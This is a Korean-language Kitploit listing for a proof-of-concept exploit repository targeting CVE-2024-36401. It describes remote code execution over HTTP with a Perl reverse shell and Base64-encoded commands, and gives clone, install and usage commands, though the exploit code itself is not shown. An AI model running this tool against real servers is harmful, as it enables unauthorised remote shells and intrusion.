CVE-2024-36401-PoC — CVE-2024-36401에 대한 개념 증명 익스플로잇으로, HTTP 요청을 통해 원격 코드 실행을 가능하게 하며, 리버스 셸 페이로드 생성 및 Base64 인코딩을 포함합니다. | Kitploit

CVE-2024-36401-PoC

이 저장소는 CVE-2024-36401에 대한 개념 증명(PoC) 스크립트를 포함합니다. 이 취약점을 악용하면 대상 서버에서 원격 코드 실행이 가능합니다.

기능

Perl을 사용하여 리버스 셸 리스너 할당
Base64를 사용하여 명령어 인코딩
취약점을 악용하기 위해 대상 서버에 요청 전송
시그널 처리를 통해 인터럽트를 원활하게 처리

사전 요구사항

Python 3.x
requests 라이브러리

설치

이 저장소를 클론합니다:

git clone https://github.com/yourusername/CVE-2024-36401-PoC.git
cd CVE-2024-36401-PoC

필요한 Python 라이브러리를 설치합니다:
```
pip install requests
```
type_names.txt가 rev.py와 동일한 디렉토리에 있는지 확인합니다.

사용법

python3 rev.py -u <target_url> -i <listener_ip> -p <listener_port>

도구 다운로드